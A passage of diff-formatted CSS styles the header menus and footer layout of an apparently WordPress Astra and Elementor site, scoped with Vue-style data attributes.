inherit +} + +.ast-builder-menu-1 .menu-item>.menu-link[data-v-8a5ab816] { + font-size: 16px; + font-size: 1rem; + color: var(--ast-global-color-3) +} + +.ast-builder-menu-1 .menu-item>.ast-menu-toggle[data-v-8a5ab816] { + color: var(--ast-global-color-3) +} + +.ast-builder-menu-1 .menu-item:hover>.menu-link[data-v-8a5ab816] { + color: #2d2e32 +} + +.ast-builder-menu-1 .menu-item:hover>.ast-menu-toggle[data-v-8a5ab816] { + color: #2d2e32 +} + +.ast-builder-menu-1 .sub-menu[data-v-8a5ab816] { + border-top-width: 2px; + border-bottom-width: 0px; + border-right-width: 0px; + border-left-width: 0px; + border-color: #a47e14; + border-style: solid +} + +.ast-builder-menu-1 .main-header-menu>.menu-item>.sub-menu[data-v-8a5ab816] { + margin-top: 0 +} + +@media(max-width:921px) { + .ast-header-break-point .ast-builder-menu-1 .menu-item.menu-item-has-children>.ast-menu-toggle[data-v-8a5ab816] { + top: 0 + } + + .ast-builder-menu-1 .menu-item-has-children>.menu-link[data-v-8a5ab816]:after { + content: unset + } + + .ast-builder-menu-1 .main-header-menu>.menu-item>.sub-menu[data-v-8a5ab816] { + margin-top: 0 + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-builder-menu-1 .menu-item.menu-item-has-children>.ast-menu-toggle[data-v-8a5ab816] { + top: 0 + } + + .ast-builder-menu-1 .main-header-menu>.menu-item>.sub-menu[data-v-8a5ab816] { + margin-top: 0 + } +} + +.ast-builder-menu-1[data-v-8a5ab816] { + display: flex +} + +@media(max-width:921px) { + .ast-header-break-point .ast-builder-menu-1[data-v-8a5ab816] { + display: flex + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-builder-menu-1[data-v-8a5ab816] { + display: flex + } +} + +.ast-builder-html-element p[data-v-8a5ab816]:first-child { + margin-top: 0 +} + +.ast-builder-html-element p[data-v-8a5ab816]:last-child { + margin-bottom: 0 +} + +.ast-header-html-1 .ast-builder-html-element[data-v-8a5ab816] { + color: var(--ast-global-color-4); + font-size: 15px; + font-size: .9375rem +} + +.ast-header-html-1[data-v-8a5ab816] { + font-size: 15px; + font-size: .9375rem +} + +.ast-header-html-1[data-v-8a5ab816] { + display: flex +} + +@media(max-width:921px) { + .ast-header-break-point .ast-header-html-1[data-v-8a5ab816] { + display: flex + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-header-html-1[data-v-8a5ab816] { + display: flex + } +} + +.elementor-page .ast-menu-toggle[data-v-8a5ab816] { + color: unset !important; + background: unset !important +} + +.screen-reader-text[data-v-8a5ab816] { + top: 0 !important +} + +.ast-header-button-1 .ast-custom-button[data-v-8a5ab816], +.ast-header-button-2 .ast-custom-button[data-v-8a5ab816] { + box-shadow: 0 0 #0000001a +} + +.ast-header-break-point .main-header-bar[data-v-8a5ab816] { + border-bottom-width: 1px +} + +@media(min-width:922px) { + .main-header-bar[data-v-8a5ab816] { + border-bottom-width: 1px + } +} + +.main-header-menu .menu-item[data-v-8a5ab816] { + -js-display: flex; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -moz-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-orient: vertical; + -webkit-box-direction: normal; + -webkit-flex-direction: column; + -moz-box-orient: vertical; + -moz-box-direction: normal; + -ms-flex-direction: column; + flex-direction: column +} + +.main-header-menu>.menu-item>.menu-link[data-v-8a5ab816] { + height: 100%; + -webkit-box-align: center; + -webkit-align-items: center; + -moz-box-align: center; + -ms-flex-align: center; + align-items: center; + -js-display: flex; + display: flex +} + +.ast-header-break-point .main-navigation ul .menu-item .menu-link .icon-arrow:first-of-type svg[data-v-8a5ab816] { + top: .2em; + margin-top: 0; + margin-left: 0; + width: .65em; + transform: translateY(-2px) rotate(270deg) +} + +@media(min-width:922px) { + .ast-builder-menu .main-navigation>ul>li:last-child a[data-v-8a5ab816] { + margin-right: 0 + } +} + +.ast-mobile-header-wrap .ast-primary-header-bar[data-v-8a5ab816], +.ast-primary-header-bar .site-primary-header-wrap[data-v-8a5ab816] { + min-height: 80px +} + +.ast-header-break-point #masthead .ast-mobile-header-wrap .ast-primary-header-bar[data-v-8a5ab816] { + padding-left: 20px; + padding-right: 20px +} + +.ast-header-break-point .ast-primary-header-bar[data-v-8a5ab816] { + border-bottom-width: 1px; + border-bottom-color: var(--ast-global-color-4); + border-bottom-style: solid +} + +@media(min-width:922px) { + .ast-primary-header-bar[data-v-8a5ab816] { + border-bottom-width: 1px; + border-bottom-color: var(--ast-global-color-4); + border-bottom-style: solid + } +} + +.ast-primary-header-bar[data-v-8a5ab816] { + background-color: var(--ast-global-color-4); + background-image: none +} + +.ast-header-break-point #masthead .ast-primary-header-bar.main-header-bar[data-v-8a5ab816] { + padding: 0; + margin: 0 +} + +.ast-primary-header-bar[data-v-8a5ab816] { + display: block +} + +@media(max-width:921px) { + .ast-header-break-point .ast-primary-header-bar[data-v-8a5ab816] { + display: grid + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-primary-header-bar[data-v-8a5ab816] { + display: grid + } +} + +[data-section=section-header-mobile-trigger] .ast-button-wrap .ast-mobile-menu-trigger-minimal[data-v-8a5ab816] { + color: #a47e14; + border: none; + background: transparent +} + +[data-section=section-header-mobile-trigger] .ast-button-wrap .mobile-menu-toggle-icon .ast-mobile-svg[data-v-8a5ab816] { + width: 20px; + height: 20px; + fill: #a47e14 +} + +.ast-above-header-bar .site-above-header-wrap[data-v-8a5ab816] { + min-height: 50px +} + +.ast-above-header-bar[data-v-8a5ab816] { + border-bottom-width: 1px; + border-bottom-color: #003859; + border-bottom-style: solid +} + +.ast-above-header.ast-above-header-bar[data-v-8a5ab816] { + background-color: #003859; + background-image: none +} + +.ast-header-break-point .ast-above-header-bar[data-v-8a5ab816] { + background-color: #003859 +} + +.ast-above-header-bar[data-v-8a5ab816] { + display: block +} + +@media(max-width:921px) { + .ast-header-break-point .ast-above-header-bar[data-v-8a5ab816] { + display: grid + } +} + +@media(max-width:544px) { + .ast-header-break-point .ast-above-header-bar[data-v-8a5ab816] { + display: grid + } +} + +a[data-v-8a5ab816]:where(:not(.wp-element-button)) { + text-decoration: none +} + +@media all { + .screen-reader-text[data-v-8a5ab816] { + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + top: -10000em; + width: 1px; + clip: rect(0, 0, 0, 0); + border: 0 + } + + @media(prefers-reduced-motion:reduce) { + html[data-v-8a5ab816] * { + transition-delay: 0s !important; + transition-duration: 0s !important + } + } +} + +@media all { + nav ul li.menu-item ul.sub-menu[data-v-8a5ab816]:before { + content: ""; + display: block; + position: absolute; + width: 100% + } + + @media(max-width:480px) { + [data-v-8a5ab816] { + -ms-text-size-adjust: 100%; + text-size-adjust: 100% + } + } +} + +@media all { + .site-header .sticky-custom-logo[data-v-8a5ab816] { + display: none + } + + .site-above-header-wrap[data-v-8a5ab816], + .site-primary-header-wrap[data-v-8a5ab816] { + transition: all .2s linear + } + + .site-header .menu-text[data-v-8a5ab816] { + transition: none + } +} + +@media(min-width:922px) { + .ast-container[data-v-8a5ab816] { + max-width: 1240px + } +} + +@media(min-width:993px) { + .ast-container[data-v-8a5ab816] { + max-width: 1240px + } +} + +@media(min-width:1201px) { + .ast-container[data-v-8a5ab816] { + max-width: 1240px + } +} + +@media(max-width:921px) { + .ast-header-break-point .ast-builder-menu-1 .main-header-menu .sub-menu>.menu-item>.menu-link[data-v-8a5ab816] { + padding: 0 20px 0 30px + } +} + +.site-title[data-v-8a5ab816], +.site-title a[data-v-8a5ab816] { + font-weight: 500; + font-family: Poppins, sans-serif; + line-height: 1.23em +} + +button[data-v-8a5ab816] { + font-size: 16px; + font-size: 1rem; + font-weight: 500 +} + +.ast-header-break-point .main-header-menu>.menu-item>.menu-link .icon-arrow[data-v-8a5ab816] { + display: none +} + +@media all { + + h5[data-v-152897e2], + li[data-v-152897e2], + p[data-v-152897e2], + ul[data-v-152897e2] { + border: 0; + font-size: 100%; + font-style: inherit; + font-weight: inherit; + margin: 0; + outline: 0; + padding: 0; + vertical-align: baseline + } + + a[data-v-152897e2] { + background-color: transparent + } + + a[data-v-152897e2]:active { + outline: 0 + } + + a[data-v-152897e2], + a[data-v-152897e2]:focus, + a[data-v-152897e2]:hover, + a[data-v-152897e2]:visited { + text-decoration: none + } + + img[data-v-152897e2] { + border: 0 + } + + svg[data-v-152897e2]:not(:root) { + overflow: hidden + } + + h5[data-v-152897e2] { + clear: both + } + + h5[data-v-152897e2] { + color: #808285; + line-height: 1.6; + font-size: 1.2em + } + + [data-v-152897e2], + [data-v-152897e2]:after, + [data-v-152897e2]:before { + box-sizing: inherit + } + + ul[data-v-152897e2] { + margin: 0 0 1.5em 3em + } + + ul[data-v-152897e2] { + list-style: disc + } + + img[data-v-152897e2] { + height: auto; + max-width: 100% + } + + a[data-v-152897e2] { + color: #4169e1 + } + + a[data-v-152897e2]:focus, + a[data-v-152897e2]:hover { + color: #191970 + } + + a[data-v-152897e2]:focus { + outline: thin dotted + } + + a[data-v-152897e2]:hover { + outline: 0 + } + + [data-v-152897e2]::selection { + color: #fff; + background: #0274be + } + + a[data-v-152897e2], + a[data-v-152897e2]:focus { + text-decoration: none + } + + a[data-v-152897e2] { + transition: all .2s linear + } + + img[data-v-152897e2] { + vertical-align: middle + } + + p[data-v-152897e2] { + margin-bottom: 1.75em + } +} + +a[data-v-152897e2] { + color: #a47e14 +} + +a[data-v-152897e2]:hover, +a[data-v-152897e2]:focus { + color: #e4202c +} + +h5[data-v-152897e2] { + font-family: Poppins, sans-serif; + font-weight: 500 +} + +h5[data-v-152897e2] { + font-size: 18px; + font-size: 1.125rem; + line-height: 1.2em; + font-weight: 500; + font-family: Poppins, sans-serif +} + +[data-v-152897e2]::selection { + background-color: #a47e14; + color: #fff +} + +[data-v-152897e2]::placeholder { + color: var(--ast-form-field-color, #9CA3AF) +} + +h5[data-v-152897e2] { + color: #003859 +} + +.elementor-widget-heading .elementor-heading-title[data-v-152897e2] { + margin: 0 +} + +.elementor-screen-only[data-v-152897e2] { + top: 0 !important +} + +a[data-v-152897e2]:where(:not(.wp-element-button)) { + text-decoration: none +} + +@media all { + .footer-width-fixer[data-v-152897e2] { + width: 100% + } +} + +@media all { + .elementor-screen-only[data-v-152897e2] { + height: 1px; + margin: -1px; + overflow: hidden; + padding: 0; + position: absolute; + top: -10000em; + width: 1px; + clip: rect(0, 0, 0, 0); + border: 0 + } + + .elementor[data-v-152897e2] *, + .elementor[data-v-152897e2] :after, + .elementor[data-v-152897e2] :before { + box-sizing: border-box + } + + .elementor a[data-v-152897e2] { + box-shadow: none; + text-decoration: none + } + + .elementor img[data-v-152897e2] { + border: none; + border-radius: 0; + box-shadow: none; + height: auto; + max-width: 100% + } + + .elementor-element[data-v-152897e2] { + --flex-direction: initial; + --flex-wrap: initial; + --justify-content: initial; + --align-items: initial; + --align-content: initial; + --gap: initial; + --flex-basis: initial; + --flex-grow: initial; + --flex-shrink: initial; + --order: initial; + --align-self: initial; + align-self: var(--align-self); + flex-basis: var(--flex-basis); + flex-grow: var(--flex-grow); + flex-shrink: var(--flex-shrink); + order: var(--order) + } + + .elementor-element[data-v-152897e2]:where(.e-con-full, .elementor-widget) { + align-content: var(--align-content); + align-items: var(--align-items); + flex-direction: var(--flex-direction); + flex-wrap: var(--flex-wrap); + gap: var(--row-gap) var(--column-gap); + justify-content: var(--justify-content) + } + + .elementor-section[data-v-152897e2] { + position: relative + } + + .elementor-section .elementor-container[data-v-152897e2] { + display: flex; + margin-inline: auto; + position: relative + } + + @media(max-width:1024px) { + .elementor-section .elementor-container[data-v-152897e2] { + flex-wrap: wrap + } + } + + .elementor-section.elementor-section-boxed>.elementor-container[data-v-152897e2] { + max-width: 1140px + } + + .elementor-widget-wrap[data-v-152897e2] { + align-content: flex-start; + flex-wrap: wrap; + position: relative; + width: 100% + } + + .elementor:not(.elementor-bc-flex-widget) .elementor-widget-wrap[data-v-152897e2] { + display: flex + } + + .elementor-widget-wrap>.elementor-element[data-v-152897e2] { + width: 100% + } + + .elementor-widget[data-v-152897e2] { + position: relative + } + + .elementor-widget[data-v-152897e2]:not(:last-child) { + margin-block-end: var(--kit-widget-spacing, 20px) + } + + .elementor-column[data-v-152897e2] { + display: flex; + min-height: 1px; + position: relative + } + + @media(min-width:768px) { + .elementor-column.elementor-col-20[data-v-152897e2] { + width: 20% + } + } + + @media(max-width:767px) { + .elementor-column[data-v-152897e2] { + width: 100% + } + } + + .elementor-grid[data-v-152897e2] { + display: grid; + grid-column-gap: var(--grid-column-gap); + grid-row-gap: var(--grid-row-gap) + } + + .elementor-grid .elementor-grid-item[data-v-152897e2] { + min-width: 0 + } + + .elementor-grid-0 .elementor-grid[data-v-152897e2] { + display: inline-block; + margin-block-end: calc(-1 * var(--grid-row-gap)); + width: 100%; + word-spacing: var(--grid-column-gap) + } + + .elementor-grid-0 .elementor-grid .elementor-grid-item[data-v-152897e2] { + display: inline-block; + margin-block-end: var(--grid-row-gap); + word-break: break-word + } + + .e-con[data-v-152897e2] { + --border-radius: 0; + --border-top-width: 0px; + --border-right-width: 0px; + --border-bottom-width: 0px; + --border-left-width: 0px; + --border-style: initial; + --border-color: initial; + --container-widget-width: 100%; + --container-widget-height: initial; + --container-widget-flex-grow: 0; + --container-widget-align-self: initial; + --content-width: min(100%, var(--container-max-width, 1140px)); + --width: 100%; + --min-height: initial; + --height: auto; + --text-align: initial; + --margin-top: 0px; + --margin-right: 0px; + --margin-bottom: 0px; + --margin-left: 0px; + --padding-top: var(--container-default-padding-top, 10px); + --padding-right: var(--container-default-padding-right, 10px); + --padding-bottom: var(--container-default-padding-bottom, 10px); + --padding-left: var(--container-default-padding-left, 10px); + --position: relative; + --z-index: revert; + --overflow: visible; + --gap: var(--widgets-spacing, 20px); + --row-gap: var(--widgets-spacing-row, 20px); + --column-gap: var(--widgets-spacing-column, 20px); + --overlay-mix-blend-mode: initial; + --overlay-opacity: 1; + --overlay-transition: .3s; + --e-con-grid-template-columns: repeat(3, 1fr); + --e-con-grid-template-rows: repeat(2, 1fr); + border-radius: var(--border-radius); + height: var(--height); + min-height: var(--min-height); + min-width: 0; + overflow: var(--overflow); + position: var(--position); + width: var(--width); + z-index: var(--z-index); + --flex-wrap-mobile: wrap + } + + .e-con[data-v-152897e2]:where(:not(.e-div-block-base)) { + transition: background var(--background-transition, .3s), border var(--border-transition, .3s), box-shadow var(--border-transition, .3s), transform var(--e-con-transform-transition-duration, .4s) + } + + .e-con[data-v-152897e2] { + --margin-block-start: var(--margin-top); + --margin-block-end: var(--margin-bottom); + --margin-inline-start: var(--margin-left); + --margin-inline-end: var(--margin-right); + --padding-inline-start: var(--padding-left); + --padding-inline-end: var(--padding-right); + --padding-block-start: var(--padding-top); + --padding-block-end: var(--padding-bottom); + --border-block-start-width: var(--border-top-width); + --border-block-end-width: var(--border-bottom-width); + --border-inline-start-width: var(--border-left-width); + --border-inline-end-width: var(--border-right-width) + } + + .e-con[data-v-152897e2] { + margin-block-end: var(--margin-block-end); + margin-block-start: var(--margin-block-start); + margin-inline-end: var(--margin-inline-end); + margin-inline-start: var(--margin-inline-start); + padding-inline-end: var(--padding-inline-end); + padding-inline-start: var(--padding-inline-start) + } + + .e-con.e-flex[data-v-152897e2] { + --flex-direction: column; + --flex-basis: auto; + --flex-grow: 0; + --flex-shrink: 1; + flex: var(--flex-grow) var(--flex-shrink) var(--flex-basis) + } + + .e-con>.e-con-inner[data-v-152897e2] { + padding-block-end: var(--padding-block-end); + padding-block-start: var(--padding-block-start); + text-align: var(--text-align) + } + + .e-con.e-flex>.e-con-inner[data-v-152897e2] { + flex-direction: var(--flex-direction) + } + + .e-con[data-v-152897e2], + .e-con>.e-con-inner[data-v-152897e2] { + display: var(--display) + } + + .e-con-boxed.e-flex[data-v-152897e2] { + align-content: normal; + align-items: normal; + flex-direction: column; + flex-wrap: nowrap; + justify-content: normal + } + + .e-con-boxed[data-v-152897e2] { + gap: initial; + text-align: initial + } + + .e-con.e-flex>.e-con-inner[data-v-152897e2] { + align-content: var(--align-content); + align-items: var(--align-items); + align-self: auto; + flex-basis: auto; + flex-grow: 1; + flex-shrink: 1; + flex-wrap: var(--flex-wrap); + justify-content: var(--justify-content) + } + + .e-con>.e-con-inner[data-v-152897e2] { + gap: var(--row-gap) var(--column-gap); + height: 100%; + margin: 0 auto; + max-width: var(--content-width); + padding-inline-end: 0; + padding-inline-start: 0; + width: 100% + } + + :is(.elementor-section-wrap, [data-elementor-id])>.e-con[data-v-152897e2] { + --margin-left: auto; + --margin-right: auto; + max-width: min(100%, var(--width)) + } + + .e-con .elementor-widget.elementor-widget[data-v-152897e2] { + margin-block-end: 0 + } + + .e-con[data-v-152897e2]:before { + border-block-end-width: var(--border-block-end-width); + border-block-start-width: var(--border-block-start-width); + border-color: var(--border-color); + border-inline-end-width: var(--border-inline-end-width); + border-inline-start-width: var(--border-inline-start-width); + border-radius: var(--border-radius); + border-style: var(--border-style); + content: var(--background-overlay); + display: block; + height: max(100% + var(--border-top-width) + var(--border-bottom-width), 100%); + left: calc(0px - var(--border-left-width)); + mix-blend-mode: var(--overlay-mix-blend-mode); + opacity: var(--overlay-opacity); + position: absolute; + top: calc(0px - var(--border-top-width)); + transition: var(--overlay-transition, .3s); + width: max(100% + var(--border-left-width) + var(--border-right-width), 100%) + } + + .e-con[data-v-152897e2]:before { + transition: background var(--overlay-transition, .3s), border-radius var(--border-transition, .3s), opacity var(--overlay-transition, .3s) + } + + .e-con .elementor-widget[data-v-152897e2] { + min-width: 0 + } + + .e-con>.e-con-inner>.elementor-widget>.elementor-widget-container[data-v-152897e2] { + height: 100% + } + + .e-con.e-con>.e-con-inner>.elementor-widget[data-v-152897e2] { + max-width: 100% + } + + .e-con .elementor-widget[data-v-152897e2]:not(:last-child) { + --kit-widget-spacing: 0px + } + + @media(max-width:767px) { + .e-con.e-flex[data-v-152897e2] { + --width: 100%; + --flex-wrap: var(--flex-wrap-mobile) + } + } + + .elementor-element:where(:not(.e-con)):where(:not(.e-div-block-base)) .elementor-widget-container[data-v-152897e2] { + transition: background .3s, border .3s, border-radius .3s, box-shadow .3s, transform var(--e-transform-transition-duration, .4s) + } + + .elementor-heading-title[data-v-152897e2] { + line-height: 1; + margin: 0; + padding: 0 + } + + .elementor-icon[data-v-152897e2] { + color: #69727d; + display: inline-block; + font-size: 50px; + line-height: 1; + text-align: center; + transition: all .3s + } + + .elementor-icon[data-v-152897e2]:hover { + color: #69727d + } + + .elementor-icon svg[data-v-152897e2] { + display: block; + height: 1em; + position: relative; + width: 1em + } + + .elementor-icon svg[data-v-152897e2]:before { + left: 50%; + position: absolute; + transform: translate(-50%) + } + + .elementor-shape-rounded .elementor-icon[data-v-152897e2] { + border-radius: 10% + } + + @media(prefers-reduced-motion:reduce) { + html[data-v-152897e2] * { + transition-delay: 0s !important; + transition-duration: 0s !important + } + } +} + +@media all { + .elementor-section.elementor-section-boxed>.elementor-container[data-v-152897e2] { + max-width: 1300px + } + + .e-con[data-v-152897e2] { + --container-max-width: 1300px + } + + .elementor-widget[data-v-152897e2]:not(:last-child) { + margin-block-end: 20px + } + + .elementor-element[data-v-152897e2] { + --widgets-spacing: 20px 20px; + --widgets-spacing-row: 20px; + --widgets-spacing-column: 20px + } + + @media(max-width:1024px) { + .elementor-section.elementor-section-boxed>.elementor-container[data-v-152897e2] { + max-width: 1024px + } + + .e-con[data-v-152897e2] { + --container-max-width: 1024px + } + } + + @media(max-width:767px) { + .elementor-section.elementor-section-boxed>.elementor-container[data-v-152897e2] { + max-width: 767px + } + + .e-con[data-v-152897e2] { + --container-max-width: 767px + } + } +} + +@media all { + @media(max-width:480px) { + [data-v-152897e2] { + -ms-text-size-adjust: 100%; + text-size-adjust: 100% + } + } +} + +@media all { + .elementor-element[data-v-152897e2] { + --swiper-theme-color: #000; + --swiper-navigation-size: 44px; + --swiper-pagination-bullet-size: 6px; + --swiper-pagination-bullet-horizontal-gap: 6px + } +} + +@media all { + .elementor-widget-image[data-v-152897e2] { + text-align: center + } + + .elementor-widget-image a[data-v-152897e2] { + display: inline-block + } + + .elementor-widget-image img[data-v-152897e2] { + display: inline-block; + vertical-align: middle + } +} + +@media all { + .elementor-709 .elementor-element.elementor-element-f5b3eb4[data-v-152897e2]:not(.elementor-motion-effects-element-type-background) { + background-color: #fff + } + + .elementor-709 .elementor-element.elementor-element-f5b3eb4[data-v-152897e2] { + transition: background .3s, border .3s, border-radius .3s, box-shadow .3s; + padding: 40px 0 80px + } + + .elementor-709 .elementor-element.elementor-element-d5d9091>.elementor-element-populated[data-v-152897e2] { + margin: 0 030px 0 0; + --e-column-margin-right: 030px; + --e-column-margin-left: 0px; + padding: 15px 20px 0 + } + + .elementor-709 .elementor-element.elementor-element-e057578>.elementor-widget-container[data-v-152897e2] { + margin: 0 0 12px + } + + .elementor-709 .elementor-element.elementor-element-e057578[data-v-152897e2] { + text-align: start + } + + .elementor-709 .elementor-element.elementor-element-e057578 img[data-v-152897e2] { + width: 257px + } + + .elementor-709 .elementor-element.elementor-element-3483bce[data-v-152897e2] { + width: 100%; + max-width: 100%; + text-align: justify; + color: #1e293b + } + + .elementor-709 .elementor-element.elementor-element-61a35b9>.elementor-element-populated[data-v-152897e2] { + padding: 15px + } + + .elementor-709 .elementor-element.elementor-element-d86277e>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-d86277e .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-04bfb77 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:last-child) { + padding-block-end: 2px + } + + .elementor-709 .elementor-element.elementor-element-04bfb77 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:first-child) { + margin-block-start: 2px + } + + .elementor-709 .elementor-element.elementor-element-04bfb77 .elementor-icon-list-icon svg[data-v-152897e2] { + fill: #1e293b; + transition: fill .3s + } + + .elementor-709 .elementor-element.elementor-element-04bfb77[data-v-152897e2] { + --e-icon-list-icon-size: 13px; + --icon-vertical-offset: 0px + } + + .elementor-709 .elementor-element.elementor-element-04bfb77 .elementor-icon-list-icon[data-v-152897e2] { + padding-inline-end: 12px + } + + .elementor-709 .elementor-element.elementor-element-04bfb77 .elementor-icon-list-item>a[data-v-152897e2] { + font-size: 15px + } + + .elementor-709 .elementor-element.elementor-element-04bfb77 .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b; + transition: color .3s + } + + .elementor-709 .elementor-element.elementor-element-1f4d741>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-1f4d741 .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-508a743 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:last-child) { + padding-block-end: 2px + } + + .elementor-709 .elementor-element.elementor-element-508a743 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:first-child) { + margin-block-start: 2px + } + + .elementor-709 .elementor-element.elementor-element-508a743[data-v-152897e2] { + --e-icon-list-icon-size: 13px; + --icon-vertical-offset: 0px + } + + .elementor-709 .elementor-element.elementor-element-508a743 .elementor-icon-list-item>a[data-v-152897e2] { + font-size: 15px + } + + .elementor-709 .elementor-element.elementor-element-508a743 .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b; + transition: color .3s + } + + .elementor-709 .elementor-element.elementor-element-508a743 .elementor-icon-list-item:hover .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b + } + + .elementor-709 .elementor-element.elementor-element-cf9baa2>.elementor-element-populated[data-v-152897e2] { + padding: 15px + } + + .elementor-709 .elementor-element.elementor-element-245cf1d>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-245cf1d .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-ef32eba[data-v-152897e2] { + --grid-template-columns: repeat(0, auto); + --icon-size: 18px; + --grid-column-gap: 5px; + --grid-row-gap: 0px + } + + .elementor-709 .elementor-element.elementor-element-ef32eba .elementor-widget-container[data-v-152897e2] { + text-align: left + } + + .elementor-709 .elementor-element.elementor-element-ef32eba .elementor-social-icon[data-v-152897e2] { + background-color: #fff + } + + .elementor-709 .elementor-element.elementor-element-ef32eba .elementor-social-icon svg[data-v-152897e2] { + fill: #003859 + } + + .elementor-709 .elementor-element.elementor-element-2e77daf>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-2e77daf .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-4671b24[data-v-152897e2] { + text-align: start + } + + .elementor-709 .elementor-element.elementor-element-4671b24 img[data-v-152897e2] { + width: 90% + } + + .elementor-709 .elementor-element.elementor-element-f358b0c[data-v-152897e2] { + width: 100%; + max-width: 100%; + text-align: start + } + + .elementor-709 .elementor-element.elementor-element-f358b0c img[data-v-152897e2] { + width: 90% + } + + .elementor-709 .elementor-element.elementor-element-04dfbed[data-v-152897e2] { + width: 100%; + max-width: 100%; + text-align: start + } + + .elementor-709 .elementor-element.elementor-element-04dfbed img[data-v-152897e2] { + width: 90% + } + + .elementor-709 .elementor-element.elementor-element-8fc1f3e>.elementor-element-populated[data-v-152897e2] { + margin: 0 24px 0 0; + --e-column-margin-right: 24px; + --e-column-margin-left: 0px; + padding: 15px + } + + .elementor-709 .elementor-element.elementor-element-134ee18>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-134ee18 .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-d693576 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:last-child) { + padding-block-end: 2px + } + + .elementor-709 .elementor-element.elementor-element-d693576 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:first-child) { + margin-block-start: 2px + } + + .elementor-709 .elementor-element.elementor-element-d693576[data-v-152897e2] { + --e-icon-list-icon-size: 13px; + --icon-vertical-offset: 0px + } + + .elementor-709 .elementor-element.elementor-element-d693576 .elementor-icon-list-item>a[data-v-152897e2] { + font-size: 15px + } + + .elementor-709 .elementor-element.elementor-element-d693576 .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b; + transition: color .3s + } + + .elementor-709 .elementor-element.elementor-element-d693576 .elementor-icon-list-item:hover .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b + } + + .elementor-709 .elementor-element.elementor-element-b8afd78>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-b8afd78 .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-77fa480 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:last-child) { + padding-block-end: 2px + } + + .elementor-709 .elementor-element.elementor-element-77fa480 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:first-child) { + margin-block-start: 2px + } + + .elementor-709 .elementor-element.elementor-element-77fa480[data-v-152897e2] { + --e-icon-list-icon-size: 13px; + --icon-vertical-offset: 0px + } + + .elementor-709 .elementor-element.elementor-element-77fa480 .elementor-icon-list-item>a[data-v-152897e2] { + font-size: 15px + } + + .elementor-709 .elementor-element.elementor-element-77fa480 .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b; + transition: color .3s + } + + .elementor-709 .elementor-element.elementor-element-77fa480 .elementor-icon-list-item:hover .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b + } + + .elementor-709 .elementor-element.elementor-element-1fb99e4>.elementor-element-populated[data-v-152897e2] { + margin: 0 24px 0 0; + --e-column-margin-right: 24px; + --e-column-margin-left: 0px; + padding: 15px + } + + .elementor-709 .elementor-element.elementor-element-79e8326>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-79e8326 .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-d64cbf6 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:last-child) { + padding-block-end: 2px + } + + .elementor-709 .elementor-element.elementor-element-d64cbf6 .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:first-child) { + margin-block-start: 2px + } + + .elementor-709 .elementor-element.elementor-element-d64cbf6[data-v-152897e2] { + --e-icon-list-icon-size: 13px; + --icon-vertical-offset: 0px + } + + .elementor-709 .elementor-element.elementor-element-d64cbf6 .elementor-icon-list-item>a[data-v-152897e2] { + font-size: 15px + } + + .elementor-709 .elementor-element.elementor-element-d64cbf6 .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b; + transition: color .3s + } + + .elementor-709 .elementor-element.elementor-element-d64cbf6 .elementor-icon-list-item:hover .elementor-icon-list-text[data-v-152897e2] { + color: #1e293b + } + + .elementor-709 .elementor-element.elementor-element-73bf4db>.elementor-widget-container[data-v-152897e2] { + margin: 0 + } + + .elementor-709 .elementor-element.elementor-element-73bf4db .elementor-heading-title[data-v-152897e2] { + color: #003859 + } + + .elementor-709 .elementor-element.elementor-element-511a31e .elementor-icon-list-items:not(.elementor-inline-items) .elementor-icon-list-item[data-v-152897e2]:not(:last-child) { + padding-block-end: 2px + } + + .elementor-709 .elementor-element.elementor-element-511a31e 